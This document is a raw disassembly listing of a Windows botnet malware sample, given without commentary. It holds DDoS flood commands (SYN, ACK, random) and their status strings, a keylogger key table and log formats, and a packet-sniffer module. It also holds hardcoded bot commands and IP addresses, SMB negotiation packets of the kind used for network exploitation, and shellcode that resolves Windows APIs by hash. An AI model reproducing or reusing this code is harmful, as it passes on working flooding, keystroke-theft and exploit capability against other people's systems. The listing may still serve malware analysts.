0BC23AC5Ah, 4276D9BFh, 0CC78F1h, 74CF01EFh, 216D8002h dd 3CA03A3Ah, 0F800CDh, 6153A2D7h, 0C601087Fh, 0CE804F51h dd 20411EE3h, 48A8CFh, 0E1AC0028h, 0BE54F83Bh, 7A3F60h dd 9E3902CEh, 36B210E9h, 3E8F132Fh, 5642A7Fh, 752B001Ch dd 3F008Eh, 0F14D357h, 0C89A8078h, 6A3A84E9h, 29F0000h dd 11073CF0h, 0CEE237E7h, 0B57E72Eh, 0FBED19h, 99BE01DDh dd 67D9B2Ah, 141AC5h, 0FDC902D2h, 223F16B1h, 0B8C1AC20h dd 313C9A9h, 0B9832769h, 1E400ADh, 8517868h, 3B039AD2h dd 9762CDBAh, 0C785B55Ch, 7E5E0h, 0DC5E00CEh, 260C0482h dd 0D5787F30h, 74468C2Bh, 738Ch, 2323029Eh, 10F8DF0Fh dd 8CED1BCEh, 0A1B1FD89h, 0C12Ah, 988A011Ch, 576FCABh dd 0AFFBEDD4h, 491F4A4Fh, 1200000h, 0A700133h, 0D51DECC8h dd 4CE84688h, 0BC6AF930h, 1990000h, 0A5DBBD22h, 9B42239Ch dd 19F0060h, 0EE555CB4h, 4BC3D8FCh, 22F0000h, 39D10828h dd 6A3BCDCh, 17000BCh, 0A07488AFh, 47C7112Eh, 9302AB2Eh dd 5B7EA64Fh, 5E7316C6h, 7888h, 8E7015Dh, 15D06FD1h, 82FC10B8h dd 191A59h, 0A75F01A2h, 0BE846901h, 57809A9Bh, 1500088h dd 0C19B40AEh, 377D9018h, 2B233FBEh, 0FD2F8Fh, 2A5A00CAh dd 0E003F086h, 0DD192014h, 68712576h, 174003Ch, 6B640B55h dd 1DE628Eh, 6A3Fh, 6FD5019Dh, 57762ACAh, 0F2FD8285h, 19B00A8h dd 0BD9D2A86h, 0A1EC6h, 0ED6Dh, 0F3F502BFh, 60C5309Bh dd 0A028DCD6h, 2BB0000h, 8315E102h, 0FABF9B76h, 0C9E87792h dd 1B80000h, 639BCAD0h, 0A03DE3F1h, 66F26A92h, 20B002Fh dd 93B93EBEh, 10648473h, 35EA0273h, 0A36Ch, 9C8A01A3h dd 52393923h, 6739h, 2D6A01BFh, 37054138h, 5811F6D2h, 94FEh dd 817801C0h, 0E04AA24Eh, 0DEF465D7h, 63EBh, 0BCF200BFh dd 0B169CC55h, 0DA7370h, 0DA5800B9h, 103181EBh, 1310000h dd 52D804E8h, 973BBF7Dh, 2AD0000h, 0D8043088h, 0D7ACDA47h dd 23E30FE1h, 0D77DBAEh, 7434B175h, 5054EC88h, 0B20000h dd 0BC4A4D85h, 0E4DEA26Bh, 80E824CBh, 0D30C3740h, 9098DD2Ah dd 0CA6D73h, 0E55B00B3h, 0EFC3D786h, 91EB57AFh, 253B0F62h dd 0B8E7DFD1h, 69CF15DEh, 10600F1h, 0CC1081D7h, 12797906h dd 51AC2943h, 0D822CFF1h, 3DFC7E2Bh, 10800F4h, 9BE0FCDh dd 8D843E46h, 0ED2A255Eh, 92B6C7CFh, 4264350Ah, 7DA0h dd 938A026Dh, 678898E9h, 0A42708A9h, 2792F027h, 1520000h dd 4CB35F50h, 0FC0EF93Bh, 0ADE5F457h, 1150000h, 7BCA7382h dd 477030EBh, 13C3E6h, 66720153h, 39A832BEh, 83B96249h dd 0CD363376h, 1560000h, 0A2F95893h, 4B407554h, 5FCE06DFh dd 0F331h, 2127027Ch, 56FC4616h, 82073889h, 4C67h, 830100AAh dd 29A13015h, 381271FBh, 0B2B34800h, 0F682h, 0D44A028Bh dd 158000EDh, 70B960A8h, 24372DF4h, 71F5A8C1h, 0DA29FC8Dh dd 0D993AF2Fh, 1B50025h, 15834BF6h, 0B4AB1BF8h, 0EE4C1CECh dd 1B20000h, 0EA05BBF0h, 2CE0070Eh, 0D8F2F75h, 2610000h dd 870AAA74h, 0E1CC575h, 736AE8BBh, 210000h, 73510F1Ah dd 0A32F452Ah, 89F83F8Fh, 99D0h, 9EBF0022h, 0EA2BC0D9h dd 0FA31C3D0h, 0B4A953DAh, 2620000h, 0E0D96481h, 0C798A6D3h dd 5581A8CCh, 657B7EF7h, 5613B62Ah, 0AF716h, 0EDE1811Dh dd 0C5BB72B9h, 0A7C4A934h, 155h dup(0) dword_41F000 dd 0 dd offset sub_40388F dd offset sub_41C994 dword_41F00C dd 0 dword_41F010 dd 0 dd offset sub_413222 dd offset sub_418C54 dd offset sub_4199A3 dd offset sub_41A815 dword_41F024 dd 0 dword_41F028 dd 0 dd offset sub_419A48 dword_41F030 dd 0 dword_41F034 dd 0 dd offset sub_41A826 dword_41F03C dd 0 unk_41F040 db 2 ; DATA XREF: sub_401000+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_41F07C db 2 ; DATA XREF: .nsp0:004013B4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: .nsp0:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: .nsp0:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: .nsp0:004011A3o align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 10h db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_41F21C db 2 ; DATA XREF: .nsp0:00401490o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 dword_41F264 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182E+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h dword_41F2A0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: .nsp0:00401B47o dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: .nsp0:0040CA4Ao ; .nsp0:00427064o align 10h aAck db 'ack',0 ; DATA XREF: .nsp0:0040CA33o aSyn db 'syn',0 ; DATA XREF: .nsp0:0040CA1Bo dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_41F3DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: .nsp0:00401CC4o dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_41F428 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: .nsp0:00401C46o dd 2029206Ch, 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4021FB:loc_4022DEo unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_41FBA4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_41FBDC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh ; DATA XREF: sub_40211A+AEo dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_40211A+4Eo ; .nsp0:0040C8F9o align 10h asc_41FC20: ; DATA XREF: sub_40211A+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo align 10h off_41FC70 dd offset dword_420440 ; DATA XREF: .nsp0:0040277Ar align 8 dd 6F64643Ah, 73h, 3 dup(0) dword_41FC8C dd 0 dd 6163733Ah, 6F74736Eh, 70h, 3 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 6F64643Ah, 79732E73h, 6Eh, 3 dup(0) dd 6E79733Ah, 6F6F6C66h, 64h, 3 dup(0) dd 64752E3Ah, 70h, 4 dup(0) dd 64752C3Ah, 70h, 4 dup(0) dd 6475213Ah, 70h, 4 dup(0) dd 6475403Ah, 70h, 4 dup(0) dd 6475243Ah, 70h, 4 dup(0) dd 6475253Ah, 70h, 4 dup(0) dd 64755E3Ah, 70h, 4 dup(0) dd 6475263Ah, 70h, 4 dup(0) dd 64752A3Ah, 70h, 4 dup(0) dd 64752D3Ah, 70h, 4 dup(0) dd 64752B3Ah, 70h, 4 dup(0) dd 64752F3Ah, 70h, 4 dup(0) dd 64755C3Ah, 70h, 4 dup(0) dd 64753D3Ah, 70h, 4 dup(0) dd 64753F3Ah, 70h, 4 dup(0) dd 6475273Ah, 70h, 4 dup(0) dd 6475603Ah, 70h, 4 dup(0) dd 64757E3Ah, 70h, 4 dup(0) dd 7064753Ah, 6F6F6C66h, 64h, 3 dup(0) dd 7063743Ah, 6F6F6C66h, 64h, 3 dup(0) dd 7664613Ah, 6E616373h, 4 dup(0) dd 73612E3Ah, 63h, 4 dup(0) dd 73612C3Ah, 63h, 4 dup(0) dd 7361213Ah, 63h, 4 dup(0) dd 7361403Ah, 63h, 4 dup(0) dd 7361243Ah, 63h, 4 dup(0) dd 7361253Ah, 63h, 4 dup(0) dd 73615E3Ah, 63h, 4 dup(0) dd 7361263Ah, 63h, 4 dup(0) dd 73612A3Ah, 63h, 4 dup(0) dd 73612D3Ah, 63h, 4 dup(0) dd 73612B3Ah, 63h, 4 dup(0) dd 73612F3Ah, 63h, 4 dup(0) dd 73615C3Ah, 63h, 4 dup(0) dd 73613D3Ah, 63h, 4 dup(0) dd 3631313Ah, 38353930h, 393332h, 3 dup(0) dd 7361273Ah, 63h, 4 dup(0) dd 7361603Ah, 63h, 4 dup(0) dd 3631313Ah, 37353930h, 353539h, 3 dup(0) dd 7474683Ah, 736F6470h, 4 dup(0) dd 6D64613Ah, 632E6E69h, 6D6Fh, 3 dup(0) dd 6261733Ah, 7265h, 4 dup(0) dd 2E33363Ah, 2E333731h, 2E323731h, 3839h, 2 dup(0) dd 2E39363Ah, 322E3035h, 332E3930h, 31h, 2 dup(0) dd 2E39363Ah, 322E3035h, 332E3830h, 3 dup(0) a203_186_79_248 db ':203.186.79.248',0 dd 2 dup(0) dd 7063743Ah, 6B636120h, 4 dup(0) dd 6F72403Ah, 6D6Fh, 4 dup(0) dd 6173233Ah, 23h, 4 dup(0) dd 736B233Ah, 2361h, 4 dup(0) dd 7375233Ah, 62h, 4 dup(0) dd 706F743Ah, 6369h, 4 dup(0) dd 6F2B3Ah, 5 dup(0) dd 712B3Ah, 5 dup(0) dd 7274403Ah, 62h, 4 dup(0) dd 6272743Ah, 40h, 4 dup(0) dd 3134333Ah, 35383937h, 363130h, 3 dup(0) dd 3630313Ah, 36343338h, 363634h, 3 dup(0) dd 7075243Ah, 65746164h, 4 dup(0) dd 2E37363Ah, 332E3931h, 30322E39h, 30h, 2 dup(0) dd 2E34373Ah, 352E3435h, 2E38h, 3 dup(0) dd 776F643Ah, 6C6Eh, 4 dup(0) dd 4F47233Ah, 23444Fh, 4 dup(0) dd 6F642E3Ah, 646E77h, 4 dup(0) dd 6F642C3Ah, 646E77h, 4 dup(0) dd 6F64213Ah, 646E77h, 4 dup(0) dd 4353233Ah, 23504Fh, 4 dup(0) dd 6F64243Ah, 646E77h, 4 dup(0) dd 6F642E3Ah, 6E77h, 4 dup(0) dd 6F642C3Ah, 6E77h, 4 dup(0) dd 6F64213Ah, 6E77h, 4 dup(0) dd 2372233Ah, 5 dup(0) dd 7261663Ah, 6E2E7365h, 7465h, 3 dup(0) dd 776F643Ah, 776F6C6Eh, 4 dup(0) dd 4F42413Ah, 374C4153h, 4 dup(0) dword_420440 dd 544F42h unk_420444 db 2 ; DATA XREF: .nsp0:004027D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_42048C db 2 ; DATA XREF: .nsp0:00402787o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: .nsp0:00402711o align 10h unk_4204E0 db 2 ; DATA XREF: .nsp0:00402662o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 4 unk_42052C db 2 ; DATA XREF: .nsp0:004025DFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_420574 db 2 ; DATA XREF: .nsp0:00402561o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402AB1+B2o align 4 dword_4205C8 dd 10FF8h, 0 dword_4205D0 dd 10FF8h dword_4205D4 dd 7FFDF020h, 0 dword_4205DC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_420664 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_420694 dd 0 dd 800000D4h, 0 unk_4206A0 db 81h ; ; DATA XREF: sub_402FB5+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_4206EC db 41h ; DATA XREF: sub_403053+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_420730 proc near ; DATA XREF: sub_4032B0+80o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_42082C push dword ptr [esi] push 63D61209h call sub_420842 mov [esi+8], eax call sub_4207F5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_420842 mov [esi+0Ch], eax call sub_4207A7 push dword ptr [esi+4] push 4C0297FAh call sub_420842 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_420730 endp ; =============== S U B R O U T I N E ======================================= sub_4207A7 proc near ; CODE XREF: sub_420730+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4207D0 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4207A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4207D0 proc near ; CODE XREF: sub_4207A7+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4207DF: ; CODE XREF: sub_4207D0+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4207EC inc ebx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207EC: ; CODE XREF: sub_4207D0+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4207D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4207F5 proc near ; CODE XREF: sub_420730+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42080D: ; CODE XREF: sub_4207F5+1Ej cmp [ecx], ebx jz short loc_420815 mov ecx, [ecx] jmp short loc_42080D ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207F5+1Aj mov edx, edi loc_420817: ; CODE XREF: sub_4207F5+2Aj cmp [edx+4], ebx jz short loc_420821 mov edx, [edx+4] jmp short loc_420817 ; --------------------------------------------------------------------------- loc_420821: ; CODE XREF: sub_4207F5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4207F5 endp ; =============== S U B R O U T I N E ======================================= sub_42082C proc near ; CODE XREF: sub_420730+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_42082C endp ; =============== S U B R O U T I N E ======================================= sub_420842 proc near ; CODE XREF: sub_420730+16p ; sub_420730+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_420858: ; CODE XREF: sub_420842+33j jecxz short loc_420892 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_420865: ; CODE XREF: sub_420842+2Dj lodsb cmp al, ah jz short loc_420871 ror edi, 0Dh add edi, eax jmp short loc_420865 ; --------------------------------------------------------------------------- loc_420871: ; CODE XREF: sub_420842+26j cmp edi, [esp+20h+arg_0] jnz short loc_420858 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_420892: ; CODE XREF: sub_420842:loc_420858j ; sub_420842:loc_420892j jmp short loc_420892 sub_420842 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_420898 proc near ; DATA XREF: sub_4032B0+30o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4208EA mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_4208B5: ; CODE XREF: sub_420898+38j jecxz short loc_4208E5 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_4208C0: ; CODE XREF: sub_420898+32j lodsb test al, al jz short loc_4208CC ror edx, 0Dh add edx, eax jmp short loc_4208C0 ; --------------------------------------------------------------------------- loc_4208CC: ; CODE XREF: sub_420898+2Bj cmp edx, [esp+arg_0] jnz short loc_4208B5 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4208E5: ; CODE XREF: sub_420898:loc_4208B5j mov [esp+arg_0], ebx retn sub_420898 endp ; =============== S U B R O U T I N E ======================================= sub_4208EA proc near ; CODE XREF: sub_420898+7p ; FUNCTION CHUNK AT 00420922 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_420903 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42090E ; --------------------------------------------------------------------------- loc_420903: ; CODE XREF: sub_4208EA+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42090E: ; CODE XREF: sub_4208EA+14j pop edi xor esi, esi pusha push esi jmp short loc_420922 sub_4208EA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420915 proc near ; CODE XREF: sub_4208EA:loc_420922p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_420915 endp ; 